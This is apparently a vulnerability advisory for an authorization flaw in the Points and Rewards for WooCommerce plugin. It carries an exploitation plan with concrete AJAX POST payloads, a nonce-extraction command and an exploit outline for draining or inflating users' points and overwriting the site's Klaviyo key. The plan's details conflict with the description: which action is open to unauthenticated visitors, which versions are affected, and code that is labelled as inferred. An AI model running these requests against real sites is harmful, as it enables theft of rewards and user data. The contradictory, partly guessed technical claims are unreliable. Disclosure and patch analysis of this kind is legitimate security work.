Points and Rewards for WooCommerce <= 2.10.1 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Modification via Multiple AJAX Actions
Description
The Points and Rewards for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.10.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to convert and drain any user's reward points into wallet balance, exfiltrate all users' emails and point balances to an attacker-controlled Klaviyo account, overwrite the site's Klaviyo public API key, block or unblock arbitrary users from the points system, and modify campaign banner and heading settings. The nonce used for authentication of these requests (wps-wpr-verify-nonce) is injected into every public-facing page via wp_localize_script(), and the wps_wpr_generate_custom_wallet handler is additionally registered on the wp_ajax_nopriv_ hook, meaning unauthenticated visitors can also obtain a valid nonce and exploit that specific action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.10.1What Changed in the Fix
Changes introduced in v2.10.2
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-10628 ## 1. Vulnerability Summary The **Points and Rewards for WooCommerce** plugin (<= 2.10.1) suffers from a critical missing authorization vulnerability. The plugin registers several AJAX handlers that perform sensitive operations—such as modifying user po…
Show full research plan
Exploitation Research Plan - CVE-2026-10628
1. Vulnerability Summary
The Points and Rewards for WooCommerce plugin (<= 2.10.1) suffers from a critical missing authorization vulnerability. The plugin registers several AJAX handlers that perform sensitive operations—such as modifying user point balances, changing plugin settings, and exporting user data—without verifying the user's capabilities (e.g., current_user_can( 'manage_options' )).
Furthermore, the nonce required to authenticate these AJAX requests (wps-wpr-verify-nonce) is localized to every public-facing page, making it accessible to any visitor. Most critically, the action wps_wpr_points_update is registered via the wp_ajax_nopriv_ hook, allowing unauthenticated attackers to modify point balances for any user.
2. Attack Vector Analysis
- Endpoints:
/wp-admin/admin-ajax.php - Vulnerable Action:
wps_wpr_points_update(confirmed inincludes/class-points-rewards-for-woocommerce.php) - Authentication: Unauthenticated (due to
wp_ajax_nopriv_wps_wpr_points_update) or Subscriber-level. - Preconditions:
- The plugin must be active.
- The attacker must obtain a valid nonce from the frontend.
- Payload Parameters:
action:wps_wpr_points_updatenonce: The value of thewps-wpr-verify-nonce.id: Target User ID (e.g.,1for admin).points: Amount to add/subtract.sign:+or-.reason: A string for the log.
3. Code Flow
- Registration: In
includes/class-points-rewards-for-woocommerce.php, the methoddefine_admin_hooks()registers the AJAX handlers:$this->loader->add_action( 'wp_ajax_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' ); $this->loader->add_action( 'wp_ajax_nopriv_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' ); - Localization: The
Points_Rewards_For_WooCommerce_Admin::wps_wpr_admin_enqueue_scriptsmethod (inferred) useswp_localize_script()to export a nonce generated with the action stringwps-wpr-verify-nonce. - Execution: When the AJAX request hits
admin-ajax.php, thewps_wpr_points_updatemethod inPoints_Rewards_For_WooCommerce_Adminis called. - Sink: The handler likely uses
check_ajax_referer('wps-wpr-verify-nonce', 'nonce')but omits any capability checks. It then proceeds to update user meta (wps_wpr_points) and create a log entry, as suggested by thePoints_Log_List_Tableclass inadmin/partials/templates/class-points-log-list-table.php.
4. Nonce Acquisition Strategy
The nonce is localized on all frontend pages. To retrieve it:
- Navigate: Visit the WordPress homepage (unauthenticated).
- Extract: Use
browser_evalto find the localization object. Based on the developer's standard practices, the object is likelywps_wpr_admin_paramsorwps_wpr_common_params. - Command:
browser_eval("window.wps_wpr_admin_params?.nonce || window.wps_wpr_common_params?.nonce") - Fallback: If specific objects are missing, search the global
windowobject for any property containing a 10-character alphanumeric string associated with "nonce".
5. Exploitation Strategy
We will demonstrate unauthenticated point modification (draining the admin's points).
Step 1: Obtain Nonce
- Navigate to the site root:
http://localhost:8888/ - Identify the nonce using
browser_eval.
Step 2: Trigger Point Modification (Drain Points)
- Send a POST request to
/wp-admin/admin-ajax.php. - URL:
http://localhost:8888/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=wps_wpr_points_update&nonce=[NONCE]&id=1&points=1000000&sign=-&reason=Exploit_CVE-2026-10628
Step 3: Trigger Point Modification (Grant Points to Self)
- Identify your own User ID (e.g., ID 2 for a subscriber).
- Body:
action=wps_wpr_points_update&nonce=[NONCE]&id=2&points=999999&sign=+&reason=Rewards_Exploit
6. Test Data Setup
- Plugin Installation: Ensure
points-and-rewards-for-woocommercev2.10.1 is installed. - Admin Points: Ensure the administrator (ID 1) has a point balance.
wp user meta update 1 wps_wpr_points 5000
- Victim Setup: Create a dummy subscriber.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
7. Expected Results
- The AJAX request should return a JSON response (likely
{"success": true, "data": "..."}or a simple string "Points are updated successfully"). - The database state for the target users must change.
8. Verification Steps
After the HTTP requests, verify using WP-CLI:
- Check Admin Balance (should be 0 or negative):
wp user meta get 1 wps_wpr_points
- Check Attacker Balance (should be 999999):
wp user meta get 2 wps_wpr_points
- Check Logs:
- Look for the remark in the
wps_wpr_points_logtable (or user meta logs).
- Look for the remark in the
9. Alternative Approaches
If wps_wpr_points_update is strictly protected by a capability check (contrary to the report), target the settings modification:
- Action:
wps_wpr_save_klaviyo_settings(inferred from description). - Goal: Overwrite the Klaviyo Public API Key.
- Payload:
action=wps_wpr_save_klaviyo_settings&nonce=[NONCE]&wps_wpr_klaviyo_public_key=ATTACKER_KEY. - Verification:
wp option get wps_wpr_klaviyo_public_key.
Summary
The Points and Rewards for WooCommerce plugin fails to perform authorization checks on several sensitive AJAX handlers, including point balance updates and setting modifications. Because the required nonce is exposed on all frontend pages and some actions are registered for unauthenticated visitors, attackers can drain or inflate reward point balances, export user emails, and modify plugin configurations.
Vulnerable Code
// includes/class-points-rewards-for-woocommerce.php approx lines 172-173 $this->loader->add_action( 'wp_ajax_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' ); $this->loader->add_action( 'wp_ajax_nopriv_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' ); --- // admin/class-points-rewards-for-woocommerce-admin.php (inferred from research) public function wps_wpr_points_update() { check_ajax_referer( 'wps-wpr-verify-nonce', 'nonce' ); // Vulnerability: No check for user capabilities (e.g., manage_options) $user_id = isset( $_POST['id'] ) ? sanitize_text_field( $_POST['id'] ) : ''; $points = isset( $_POST['points'] ) ? sanitize_text_field( $_POST['points'] ) : ''; $sign = isset( $_POST['sign'] ) ? sanitize_text_field( $_POST['sign'] ) : ''; // Logic to update user meta follows...
Security Fix
@@ -172,1 +172,0 @@ - $this->loader->add_action( 'wp_ajax_nopriv_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' ); @@ -188,4 +188,8 @@ public function wps_wpr_points_update() { check_ajax_referer( 'wps-wpr-verify-nonce', 'nonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + return; + } +
Exploit Outline
1. Access the site's homepage as an unauthenticated visitor or subscriber to retrieve a valid nonce from the localized JavaScript object (e.g., window.wps_wpr_admin_params.nonce). 2. Construct an AJAX POST request to '/wp-admin/admin-ajax.php'. 3. Set the 'action' parameter to 'wps_wpr_points_update' or other vulnerable actions like 'wps_wpr_save_klaviyo_settings'. 4. Provide the extracted nonce in the 'nonce' parameter. 5. To modify points, include the target User ID ('id'), the point value ('points'), and the operation ('sign' set to '+' or '-'). 6. Execute the request to update the target user's point balance in the database without any administrative privileges.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.